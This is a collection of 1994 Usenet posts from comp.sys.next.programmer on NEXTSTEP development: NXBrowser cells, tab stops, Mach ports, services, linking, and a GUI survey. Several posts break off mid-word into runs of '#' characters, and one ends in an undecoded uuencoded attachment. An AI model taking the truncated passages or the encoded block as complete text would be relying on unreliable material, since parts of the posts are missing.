Mike_Paquette@NeXT.COM ---- I don't speak for NeXT Computer, and NeXT Computer doesn't speak for me. Any factual information presented in this message is my responsibility, and doesn't represent anything official from NeXT Computer. In fact, it was probably produced by line noise.
Newsgroups: comp.sys.next.programmer #################################################################### #################################################################### #################################################################### From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Workspace and default path Date: 4 Jun 1994 05:12:53 GMT Organization: San Francisco State University Message-ID: <2sp2gl$2p2@nic-nac.CSU.net> References: <1994Jun3.220055.24274@ictv.com> In article <1994Jun3.220055.24274@ictv.com> aylwin@ictv.com (Aylwin Stewart) writes: >Does anyone know how I can change the environment set up for sh by >the Workspace when it launches an app ? I need to add something to >the beginning of the PATH variable to get some Edit commanddict >commands to work properly. It is definitely not using the .profile >in /, or $HOME. What if ... you were to make an executable file ... ~aylwin/Unix/bin/something.sh ... containing #!/bin/sh PATH=/my/special/bin:$PATH;export PATH case $# in 0) exec /full/path/to/something ;; *) exec /full/path/to/something "$@" ;; esac and then used something.sh instead of something in your .commanddict? That would give the result you wanted without introducing unexpected "surprises" in other contexts. -=EPS=-
Newsgroups: comp.sys.next.programmer From: jfr@trwlasd.com Subject: Re: NXTextStyle/NXTabStop question Message-ID: <Cquw41.LG2@trwlasd.com> Sender: jfr@trwlasd.com (Jon Rosen) Organization: TRW References: <2snuhpINN9rp@no-names.nerdc.ufl.edu> Date: Sat, 4 Jun 1994 04:50:24 GMT Paul A. Griffin writes: > Dave Goodman writes: > > I am trying to programmatically set up the tab stops for a text > > object. > > .. > > > [aText setParaStyle:(void *)textStyle]; > > I have been told that the setParaStyle: method is broken, and should > never be used :( . (pretty much as you describe -- it improperly > frees memory ...) > > To get the tabs, I used the defaultParaStyle: method. Then I applied the > setTabAt:To: method to reset them and it worked fine.' Don't you mean -changeTabStopAt:to:? There is no setTabAt:to: that I could find in the documentation. Is it one of those header-file only jobs? Jon Rosen
Newsgroups: comp.sys.next.programmer From: root@beach (Operator) Subject: Net Connection Message-ID: <Cqu5DJ.6Lp@beach.com> Sender: root@beach.com (Operator) Organization: SonRise Corp. Date: Fri, 3 Jun 1994 19:12:55 GMT Ever since my UUCP connection was set up, I've been unable to post news from any account other than root. I've also had alot of frustration in receiving news, sending and receiving mail. I'd like to have a connection that works flawlessly, as well as be able to FTP and access the World Wide Web. I'd also like to go through a provider which is less expensive, and probably change my domain name or just get a spot on another host. It seems that, in order to accomplish all of this, I'll need an EXPERIENCED connectivity guru who understands all the tricks of the net to get me set up. I'd like someone who can do it for an agreed-upon amount that will be paid when the job is done. Are there any takers? kevin@beach.com
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: buttons on cells within a NXBrowser? Message-ID: <1994Jun2.080505.3549@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2shaqt$48i@crl.crl.com> Date: Thu, 2 Jun 1994 08:05:05 GMT In article <2shaqt$48i@crl.crl.com> mcgredo@crl.com (Donald R. McGregor) writes: :In article <2sh7ml$677@nntp2.Stanford.EDU> nando@ccrma.stanford.edu writes: ::>Anyone out there could point me to an example of a subclass of ::>NXBrowserCell that implements buttons embedded in the cell? I need to take ::>two (or more) different actions depending on the place in the browser row ::>where the user clicks. : :I suspect you'd be better off subclassing the matrix that lives :in the browser. That can catch mouseDowns, since it's a :responder. Cell's aren't, to keep them more lightweight. Another way to do that is to subclass NxBrowserCell to have a special drawing and behaviour (overwriting mousedown); and send a setCellClass: to the browser to force it to use your new class. the both method have their own advantages. Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: buttons on cells within a NXBrowser? Date: 04 Jun 1994 12:30:59 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Jun4133059@steffi.demon.co.uk> References: <2shaqt$48i@crl.crl.com> <1994Jun2.080505.3549@ares.fdn.org> To: gery@ares.fdn.org (Gery Divry) In-reply-to: gery@ares.fdn.org's message of Thu, 2 Jun 1994 08:05:05 GMT <gery@ares.fdn.org> writes: >In article <2shaqt$48i@crl.crl.com> mcgredo@crl.com (Donald R. McGregor) >writes: >:In article <2sh7ml$677@nntp2.Stanford.EDU> nando@ccrma.stanford.edu >writes: >::>Anyone out there could point me to an example of a subclass of >::>NXBrowserCell that implements buttons embedded in the cell? I need to >take >::>two (or more) different actions depending on the place in the browser >row >::>where the user clicks. >: >:I suspect you'd be better off subclassing the matrix that lives >:in the browser. That can catch mouseDowns, since it's a >:responder. Cell's aren't, to keep them more lightweight. >Another way to do that is to subclass NxBrowserCell to have a special >drawing and behaviour (overwriting mousedown); >and send a setCellClass: to the browser to force it to use your new class. >the both method have their own advantages. The only behaviour applicable to NXBrowserCell is appearance and editing. The reason you override the matrix (ie. subclass and install in your brower via setMatrixCellClass) _too_ is to provide the target/action behaviour of the buttoncell. ie. selectively invoking the buttoncells action if it's area is click on. and also still maintaining the NXBrowserCell's normal action if click outside of that area. Don's suggestion is really the only way (or at least sensible way) I can think of for doing this. In short NXBrowserCell is _not_ a responder and so it does not have a mouseDown.. its Matrix is responsible for that. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
Newsgroups: comp.sys.next.program#################################################################### #################################################################### #################################################################### #################################################################### From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Re: Creating a NXBrowser with more than one selected cell. Date: Sat, 4 Jun 1994 19:38:03 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <EhwF1Pa00iUyM2f8QR@andrew.cmu.edu> In-Reply-To: <Cqu3CF.2KC@trapac.com> Excerpts from netnews.comp.sys.next.programmer: 3-Jun-94 Creating a NXBrowser with m.. by Karl Kraft@trapac.com > Perhaps today is a real dense day or something, so forgive > if this is obvious. > > I have a NXBrowser that contains a list of displayed > objects. I need to highlight all the currently displayed > objects. My solution was to grab the matrix and call > selectCell for each cell that needed to be selected. > selectCell clears any previous selection before selecting > the new cell, thus I don't get a multiple selection. > > I tried setState:at::, but that produces odd results, as > the cells appear selected but are not. > > The browser does allow multiple selections, and I can select > multiple items without trouble. > > So what is the proper way to do create a NXBrowser with more > than one cell selected? NXBrowser class as defined in DL has the "selectAll:sender" method. Is this what you were looking for? Tom. tm31@andrew.cmu.edu
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: Creating a NXBrowser with more than one selected cell. Message-ID: <CqwDxB.454@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <2sordm$j6r@News1.mcs.com> Date: Sun, 5 Jun 1994 00:12:46 GMT In comp.sys.next.programmer article <2sordm$j6r@News1.mcs.com> you wrote: > In article <Cqu3CF.2KC@trapac.com> karl@trapac.com (Karl Kraft) writes: > > Perhaps today is a real dense day or something, so forgive > > if this is obvious. > > > > > > So what is the proper way to do create a NXBrowser with more > > than one cell selected? > > > > The selectAll: method 'Selects all entries in the last column loaded > in the NXBrowser if multiple selection is allowed'. I think the only > other accepted way of programmatically selecting items is setPath:, > but this only selects a single cell. > The solution was to use call -set or -reset on each browser cell. -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own] -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own]
From: pgriffin@phys.ufl.edu (Paul A. Griffin) Newsgroups: comp.sys.next.programmer Subject: Re: NXTextStyle/NXTabStop question Date: 5 Jun 1994 05:12:36 GMT Organization: University of Florida Message-ID: <2srms4INNpf8@no-names.nerdc.ufl.edu> References: <Cquw41.LG2@trwlasd.com> In article <Cquw41.LG2@trwlasd.com> jfr@trwlasd.com writes: > Paul A. Griffin writes: > > --Dave Goodman writes: > > -- I am trying to programmatically set up the tab stops for a text > > -- object. > > > > > > To get the tabs, I used the defaultParaStyle: method. Then I applied the > > setTabAt:To: method to reset them and it worked fine.' > > Don't you mean -changeTabStopAt:to:? There is no setTabAt:to: that I > could find in the documentation. Is it one of those header-file only > jobs? > > Jon Rosen > Yes, you are right. Here is some sample code: - setTabsWithFont:font /* set the tabs */ { int i; short numTabs; NXTabStop *tab; NXTextStyle *paraStyle; NXCoord charWidth, tabWidth, oldTabX, newTabX; paraStyle = (NXTextStyle *) [text defaultParaStyle]; numTabs = paraStyle->numTabs; tab = paraStyle->tabs; charWidth = MAX([font getWidthOf: "W"], [[font screenFont] getWidthOf:"W"]); tabWidth = charWidth * fdef( "TabWidthInChars");/* from the defaults db */ for (i = 0; i < numTabs; i++, tab++){ if (tab->kind == NX_LEFTTAB) { oldTabX = tab->x; newTabX = (i+1) * tabWidth; [text changeTabStopAt:oldTabX to:newTabX ]; } } return self; }
From: (Horace Lim) hal@xedoc.com.au Newsgroups: comp.sys.next.advocacy,comp.sys.next.software,comp.sys.next.programmer Subject: Solution Wanted: Imaging & document management solution for legal case management Date: 5 Jun 1994 10:08:29 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2ss86t$lft@yarrina.connect.com.au> Keywords: Imaging, document management, legal, Case management We are looking for innovative NEXTSTEP-based imaging and document solutions for an existing legal customer in Australia. A "ready to run" system would be ideal but needs to highly scalable to several million documents. Preference will be given to solutions which Xedoc can customise for the client. For further information about the customer requirements, please mail me directly. Horace Lim, Channels Manager (hal@xedoc.com.au) Xedoc Software Development -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!3=&]N95-A;G,[?0I<;6%R M9VPQ,C`*7&UA<F=R,3(P"EQP87)D7'1X-34Q7'1X,3$P,EQT>#$V-3-<='@R M,C`T7'1X,C<U-5QT>#,S,#9<='@S.#4W7'1X-#0P.%QT>#0Y-3E<='@U-3$P M7&8P7&(P7&DP7'5L;F]N95QF<S(T7&9C,%QC9C`@5V4@87)E(&QO;VMI;F<@ M9F]R(&EN;F]V871I=F4@3D585%-415`M8F%S960@:6UA9VEN9R!A;F0@9&]C M=6UE;G0@<V]L=71I;VYS(&9O<B!A;B!E>&ES=&EN9R!L96=A;"!C=7-T;VUE M<B!I;B!!=7-T<F%L:6$N("!!(")R96%D>2!T;R!R=6XB('-Y<W1E;2!W;W5L M9"!B92!I9&5A;"!B=70@;F5E9',@=&\@:&EG:&QY('-C86QA8FQE('1O('-E M=F5R86P@;6EL;&EO;B!D;V-U;65N=',N("!0<F5F97)E;F-E('=I;&P@8F4@ M9VEV96X@=&\@<V]L=71I;VYS('=H:6-H(%AE9&]C(&-A;B!C=7-T;VUI<V4@ M9F]R('1H92!C;&EE;G0N7`I<"D9O<B!F=7)T:&5R(&EN9F]R;6%T:6]N(&%B M;W5T('1H92!C=7-T;VUE<B!R97%U:7)E;65N=',L('!L96%S92!M86EL(&UE M(&1I<F5C=&QY+EP*7`I(;W)A8V4@3&EM+"!#:&%N;F5L<R!-86YA9V5R("`H M:&%L0'AE9&]C+F-O;2YA=2E<"EAE9&]C(%-O9G1W87)E($1E=F5L;W!M96YT #"GT* `
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: BUG: NXMapFile() doesn't release file descriptor on NXClose() Date: 5 Jun 1994 09:38:24 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <9406051423.AA01449@flexus> LS, Some observiations (hopefully with a high truth content)... - It should be better documented what mapping a file means in the first place. + It is a NeXT-specific extension to Mac####################################################################
Newsgroups: comp.sys.next.programmer From: gerti@BITart.sub.org (Gerd Knops) Subject: Re: Getting around rld errors Message-ID: <CqwHwx.40M@BITart.sub.org> Sender: usenet@BITart.sub.org Organization: BITart, NEXTSTEP/OPENSTEP Consulting References: <1994Jun2.205855.11554@seer.demon.co.uk> Date: Sun, 5 Jun 1994 01:38:57 GMT In article <1994Jun2.205855.11554@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: > I am writing an object file to be loaded into another application (the > classic bundle situation), which requires some symbols defined in the NeXT > shared libraries. The main application doesn't link against all of these > libraries. > > As a result, if I cc normally, I get a bunch of undefined symbol messages. > > If, instead, I use the -u flag against the libraries, the object file is > created (at 1.5Mb!), but I get an rld error message: > > can't dynamicly load fixed VM shared library > > Does anyone have the answer to this problem? > > Paul > -- > Paul Lynch > P & L Systems (NeXTmail) paul@seer.demon.co.uk > Tel: (0494)671501 9 Stable Lane, Seer Green, > Fax: (0494)680228 Bucks, HP9 2YT, UK I was in the same situation once. The only 'solution' I found, was to use 'ar' to extract the object files, and link the needed ones against my bundle. Not exactly elegant, but worked. If somebody comes up with a more elegant solution, please let me know. Gerd
Newsgroups: comp.sys.next.programmer From: lamb@eqt.ch (Alexander Lamb) Subject: DBKit : adding a "distinct" keyword before the properties ? Message-ID: <Cqz67K.Aos@eunet.ch> Keywords: DBKit Sender: usenet@eunet.ch (News Administrator) Organization: EUnet Switzerland Date: Mon, 6 Jun 1994 12:18:53 GMT Hi, Has anyone managed to add the "distinct" keyword before the properties in a Sybase query using the DBKit at a record list level ? For example : select distinct a, b, c from aTable where .... Thanks, Alexander Lamb Expert Quantitative Trading Geneva / Switzerland lamb@eqt.ch
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: Re: cellList returns a List object or the id of the list? Date: 6 Jun 1994 13:37:38 GMT Organization: MCSNet Services Distribution: world Message-ID: <2sv8r2$mvo@News1.mcs.com> References: <2su7or$c9v@news.iastate.edu> Keywords: cellList, objects In article <2su7or$c9v@news.iastate.edu> chris@iastate.edu (Chris Wong) writes: > > I'm a little bit confused when I read the documentation of Matrix class. > > What exactly will the instance method cellList of the Matrix class return? A > List object or the id of the List object? > > If it returns a List object, would that List object be freed automatically > when it goes out of scope? > > e.g, > - foo:sender > { > id fooList; > > fooList = [fooMatrix cellList]; > > bla bla bla; > > return self; > } > > > Thanks for any clarification. Chris, ObjectiveC only deals with heap based objects (pointers to objects such as List *, or its anonymous equivalent id). You can't declare a List object like in C++: List myListOnTheStack; rather you must say: List *myHeapList; id anyHeapObject; myHeapList = [[List alloc] initCount: 0]; anyHeapObject = [[List alloc] initCount: 0]; The id type in Objective C simply indicates that a variable is a pointer to some type of object. In your example, cellList returns a List object which means it returns a pointer to an List object or perhaps to a subclass of List. Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Adding classes/categories etc to PB in code? Date: 06 Jun 1994 11:56:21 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Jun6125621@steffi.demon.co.uk> CC: next-prog@omnigroup.com I create new category and class templates from within Emacs. Often I'll forget to add these to PB and when I compile I get undefined symbols.. Since IB can message PB when you do an "Unparse" I was wondering how this is done. I'd imagine it's through DO at the moment. I figure If I can get myself a vended object then I can write a little "tool" project that messages PB from within an Emacs subprocess. Thoughts? -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer,comp.os.mach Subject: Mach and hostnames Date: 6 Jun 1994 13:53:58 GMT Organization: MCSNet Services Distribution: world Message-ID: <2sv9pm$n5e@News1.mcs.com> Keywords: Mach, ports, hostname Mach ports seem to have a strange disassociation from a host. At least I can't find any function that will allow me to determine the host on which the task receiving a message over a port resides. Isn't this info kept at some level by the kernel? Aren't Mach messages implemented on top of TCP/IP? Anyway, is there a way that I can determine where the task on the receiving side of a port lives? Thanks, Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.programmer From: dgoodman@is.rpslmc.edu (Dave Goodman) Subject: NXTextStyle/NXTabStop question (Summary) Message-ID: <1994Jun6.075632.21911@rpslmc.edu> Keywords: Text, NXTextStyle Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center References: <2srms4INNpf8@no-names.nerdc.ufl.edu> Date: Mon, 6 Jun 1994 07:56:32 GMT Thanks to all of you who responded, here is the general consensus... The Text method: -setParaStyle: is broken and does not free memory correctly. Instead, -changeTabStopAt:to: should be used. An alternate method is to use -setSelProp:to: but I think if you want to change all the tab stops you'd have to NX_REMOVETAB all the existing tabs and them NX_ADDTAB yours. Again, thanks for all the help... (Now my app doesn't crash suddenly anymore :^) -Dave ============================================ = David I. Goodman N[eE]XTSTEP Developer = = Single Source Systems, Inc. = = dgoodman@is.rpslmc.edu = ============================================ Disclaimer: No statements made in this article should be construed to reflect the opinions of Rush-Presbyterian-St. Luke's Medical Center or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: Distributed Object and NXReference Date: 6 Jun 1994 13:18:30 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <9406051622.AA01851@flexus> LS, Once more: if you want to know about known bugs, or tell other people about them, use KBNS as well as Bug_NeXT and NeXTanswers. >>>>> This is to let you know about the new edition 32.0 of KBNS, the only public and comprehensive database (``FAQ''?) of bugs with workarounds in NEXTSTEP, available by anonymous ftp from cs.orst.edu in path /pub/next/documents, as files KBNS.32.0.rtf.Z and KBNS.*README.rtf. I have made an attempt to bring the collection more up to date with NEXTSTEP_3.2. The file is about 0.6 MB before compression, and 270 kB compressed. KBNS is totally dependent on your cooperation. I see my role as an administrator and moderator for compiling the collective knowledge of the NEXTSTEP community (about bugs, of course). So fetch the document, use it, and send me reports about whatever is still missing, about changes to applicability ranges, about a verification you did, when you would like to referee items in certain areas, about any mistakes, or a note about what you think of KBNS (if you think it is no good, I won't know unless you tell me, but please be specific; if you've been able to benefit from it, do tell!). It's up to YOU! <<<<< I think it would be a good idea for others to assume responsibility for parts of KBNS: the DBKit area would be a good example. Any candidates? If you want to post news but only have e-mail connectivity, use comp-sys-next-programmer@cs.utexas.edu as a gateway to comp.sys.next.programmer (works for any other newsgroup too). To receive the newsgroups about NEXTSTEP, send a message with body HELP to digestif@antigone.com. (This is in case someone asks you about these things, of course...) Now if Yanik could summarise that long message for inclusion into KBNS (say, 10 lines?), install it on cs.orst.edu and provide a pointer to the location with that summary... Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium *** The designation BANRUC60.BITNET for this host will disappear by July 1 *** (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again) Compiler designers rarely do it. --- Aho, Sethi, Ullman, ``Compilers: Principles, Techniques, and Tools'', 2nd ed., p. 173
From: edsko@ada1.elan.af.mil (Ed Skochinski) Newsgroups: comp.sys.next.programmer Subject: FORTRAN compiler for NeXT Date: 6 Jun 1994 20:27:35 GMT Organization: 412th Range Division, Tech Support, AFFTC Message-ID: <2t00rn$4u9@rcp6.elan.af.mil> Keywords: FORTRAN FORTRAN77 I'm rather new to this newsgroup, so please pardon me if the questions herein have been asked and answered previously. 1) Where is the archive for comp.sys.next so that I don't have to ask redundant questions? 2) I am looking for a FORTRAN77 compiler for the NeXT. Freeware is okay, but I'm willing to purchase a good product. Functionality and support are very important issues. *Sigh* If only gf77 were a mature product. Many thanks, Ed Skochinski edsko@calstate.edu
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Mach and hostnames Date: 6 Jun 1994 22:16:20 GMT Organization: San Francisco State University Message-ID: <2t077k$vh@nic-nac.CSU.net> References: <2sv9pm$n5e@News1.mcs.com> In article <2sv9pm$n5e@News1.mcs.com> starksm@genesis.mcs.com (Scott M. Stark) writes: >Mach ports seem to have a strange disassociation from a host. At >least I can't find any function that will allow me to determine the >host on which the task receiving a message over a port resides. There isn't one. > Isn't >this info kept at some level by the kernel? That's an implementation-dependent question--even if it is, you're not supposed to go poking around in messaging's internal workings. User-mode software deals with externalized port names, so the internal structures are completely protected from scrutiny. > Aren't Mach messages >implemented on top of TCP/IP? No! They're completely separate and unrelated mechanisms. >Anyway, is there a way that I can determine where the task on the >receiving side of a port lives? No, and you're not supposed to--the Mach messaging paradigm *forbids* this. If Mach messaging doesn't provide the semantics you want, don't use it. It's good for some applications, and ill-suited for others. Your inquiry suggests that it's not appropriate in this case, and you'd be better off using something IP-based. -=EPS=-
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: Complete Class tree wanted Message-ID: <CqzsII.1Jv@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown Date: Mon, 6 Jun 1994 20:20:41 GMT Hi, I tried to find a complete classes-tree of all the kits coming with NS. There seems to be none in the entire documentation. All I could find is an Appkit 2.0 tree included on the diskette which comes with Garfinkel&Mahoney's book. Of course there is Headerviewer for interactive clas tree walking. But I would like to additionally pin the tree on the wall. I could not think of an easy way to write a program querying the class objects for their offspring either. Any ideas? Seems to me it should have been done before. Thanks, Juergen --- Fon ++49-511-440688 NeXTMail welcome Fax ++49-511-440617 == What time do we live in when all the word 'revolution' makes you think of == is a new version of soap powder, == when spontaneity and freedom gets associated with instant coffee?
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: DBKit and special data formats (Q) Message-ID: <1994Jun6.215058.21962@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2sksc6$dtm@hahn.informatik.hu-berlin.de> Date: Mon, 6 Jun 1994 21:50:58 GMT L#################################################################### #################################################################### From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Services Problem Date: Tue, 7 Jun 1994 01:23:23 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <0hx0F=200iV607ZEkz@andrew.cmu.edu> I am implementing services for the first time and I don't really know what I am doing wrong. I followed the guidelines in the Gen_Ref/Services.rtf file in DL and came up with the following things that I had to do: Add a line in the Makefile to create a __services section in the __ICON segment...: LDFLAGS = -sectcreate __ICON __services <name of services file> I also have the conents of the services file in the right format: Message: goo Port: <my application name> Send Type: NX[something]PboardType Menu Item: bar (I didn't want to return anything, so I don't have a "Return Type" I have the delegate methods defined: - goo:(id)pasteboard userData:(const char *)userData error:(char **)mgs { [... blah, blah, blah....] return self; } I even add the services file to my Project in PB under Other Resources. and finally, I have the this line in my -appDidInit:sender method for the application: [[NXApp appListener] setServicesDelegate:[object with methods]]; Now, I compiled all this and the application is in my ~/Apps directory. I log out and log back in to reset the services menu (btw, is there any other way to do this?, does adding a new application to your ~/Apps directory automatically update the services list?) But in the end, none of my application's services show up. Any help is appreciated. Tom. tm31@andrew.cmu.edu [NeXTmail welcome]
Newsgroups: comp.human-factors,comp.programming,comp.software-eng,comp.os.ms-windows.programmer.misc,comp.os.os2.programmer.misc,comp.sys.amiga.programmer,comp.sys.atari.st,comp.sys.hp.misc,comp.sys.ibm-pc.misc,comp.sys.mac.programmer,comp.sys.next.programmer,comp.windows.garnet,comp.windows.interviews,comp.windows.misc,comp.windows.news,comp.windows.open-look,comp.windows.suit,comp.windows.x,comp.windows.x.motif From: dammert@informatik.uni-stuttgart.de (Juergen Dammert) Subject: Survey: Development of GUIs Message-ID: <Cr0o1A.8tK@news.informatik.uni-stuttgart.de> Keywords: Survey Sender: news@informatik.uni-stuttgart.de Organization: Stuttgart University, IPVR/ISE Date: Tue, 7 Jun 1994 07:41:33 GMT Dear netlander, if you are envolved in the development or the programming of Graphical User Interfaces please answer the following questions. This survey is part of my Ph.D. !! The answers you (hopefully) will send to me are for my eyes only !! !! and will be evaluated anonymously. !! If you are interested in the evaluation I can send you the results of this survey (see question 32). --==<( S u r v e y )>==-- Questionaire about the Development of Graphical User Interfaces Please answer by marking the brackets [ ] -> [X] square brackets -> multiple choice, you can mark more than one item < > -> <X> arrow brackets -> only _ONE_ choice, please mark ONLY ONE item or by inserting your comments (starting after the => sign). -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<cut here>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 1. Your sex: < > male < > female 2. Your age: < > < 20 < > 20-24 < > 25-29 < > 30-34 < > 35-39 < > 40-45 < > 45-50 < > > 50 3. What is your business? [ ] Research [ ] Development [ ] Design [ ] Production [ ] other (please name): => 4. Number of employees in your company: < > <= 10 < > <= 50 < > <= 100 < > <= 500 < > <= 1000 < > > 1000 5. Your education (please specify in terms of US educational system): [ ] School [ ] Highschool [ ] College [ ] Bachelor [ ] Master [ ] Ph.D. or equivalent [ ] other (please name): => 6. Profession: [ ] Programmer [ ] Engineer [ ] other (please name): => 7. Which GUI(s) do you use? (This question concerns the Look and Feel, users perspective) [ ] Amiga [ ] Atari [ ] MS-Windows [ ] Macintosh [ ] SunView [ ] X Window (twm) [ ] Motif (mwm) [ ] Open Windows (olwm, olvwm) [ ] other (please name): => 8. What are your skills as a USER of GUIs? < > expert < > ... < > .. < > . < > novice 9. What toolkit(s) do you use for programming GUIs? (programmers perspective) [ ] Amiga Intuition [ ] Atari GEM [ ] MS-Windows [ ] Macintosh MacApp [ ] Macintosh Think C Class Library [ ] Macintosh ResEdit [ ] Macintosh toolbox calls [ ] SunView [ ] X Window (Xt, Xlib) [ ] Athena Widgets [ ] Motif Open Look [ ] Open Look Intrinsic Toolkit [ ] TNT (The NeWS (Network Window System) Toolkit) [ ] Xview [ ] other (please name): => 10. What are your skills as PROGRAMMER of GUIs? < > expert < > ... < > .. < > . < > novice 11. How long are you involved in programming GUIs? < > 6 months < > 1 year < > 2 years < > 4 years < > 8 years < > more than 8 years 12. What programming languages do you use for your development? [ ] Ada [ ] C [ ] C++ [ ] Eiffel [ ] Fortran [ ] Lisp [ ] Modula 2 [ ] ObjectPascal [ ] Objective C [ ] Pascal [ ] Prolog [ ] Smalltalk [ ] other (please name): => 13. Are you developing your GUIs with a GUI builder? < > No (Please continue with question 15) < > Yes 14. What GUI builder(s) are you using? [ ] Hewlett-Packard: DialogManager [ ] Non Standard Logics: XFaceMaker [ ] Neuron Data: Open Interface [ ] Precision Software: XVT [ ] SUN: DevGUIDE [ ] Telesoft: TeleUse [ ] other (please name): => (Please continue with question 16) 15. Why not? => 16. Do you wish to work with a GUI builder/editor? < > Yes < > No 17. The ability of a GUI builder to generate code for several toolkits is < > very important < > ... < > .. < > . < > not interesting at all 18. On what hardware do you develop your GUIs? [ ] Apple Macintosh (Motorola 680x0) [ ] Apple Macintosh (Motorola PowerPC) [ ] Atari ST / TT / Falcon [ ] Commodore Amiga [ ] DEC VAXstation [ ] DEC station [ ] DEC alpha [ ] HP-9000 Series 400 [ ] HP-9000 Series 700 [ ] HP-9000 Series 800 [ ] IBM PS/2 [ ] IBM RS-6000 [ ] NeXT [ ] Personal Computer, IBM-compatible (Intel 80x86) [ ] Personal Computer, IBM-compatible (Intel Pentium) [ ] Silicon Graphics [ ] SUN 3 [ ] SUN SPARC [ ] other (please name): => 19. Are you satisfied with your development environment? < > Yes (Please continue with question 20) < > No 20. Why not? => 21. Please let me hear some of your criticisms / improvements. => 22. Have you ever thougt about creating your own user interface elements / widgets? < > Yes < > No (Please continue with question 27) 23. Have you implemented own widgets? < > Yes < > ####################################################################
#################################################################### Newsgroups: comp.sys.next.programmer From: dbd@urartu.sdpa.org (David Davidian) Subject: OO Databases on NEXTSTEP Message-ID: <1994Jun7.131753.25913@urartu.sdpa.org> Organization: S.D.P.A. Center for Regional Studies Date: Tue, 7 Jun 1994 13:17:53 GMT Are there any Object-oriented database systems a'la GEMSTONE that work with Objective-C on NEXTSTEP? Thanks, David Davidian dbd@urartu.sdpa.org
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Complete Class tree wanted Date: 7 Jun 1994 14:49:26 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2t21dm$7i@darkstar.UCSC.EDU> References: <2t0k0m$6a9@rosie.next.com> In article <2t0k0m$6a9@rosie.next.com> Ralph_Zazula@next.com (Ralph Zazula) writes: > Here's something that might help (almost directly out of the comment in > objc-runtime.h for objc_getClasses()). It's not pretty, but it'll dump > out what the run-time sees as the class hierarchy. Thanks, Ralph. This really exposes everything that's under the covers :-) NXNonFactoryKludgeObj : Object --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
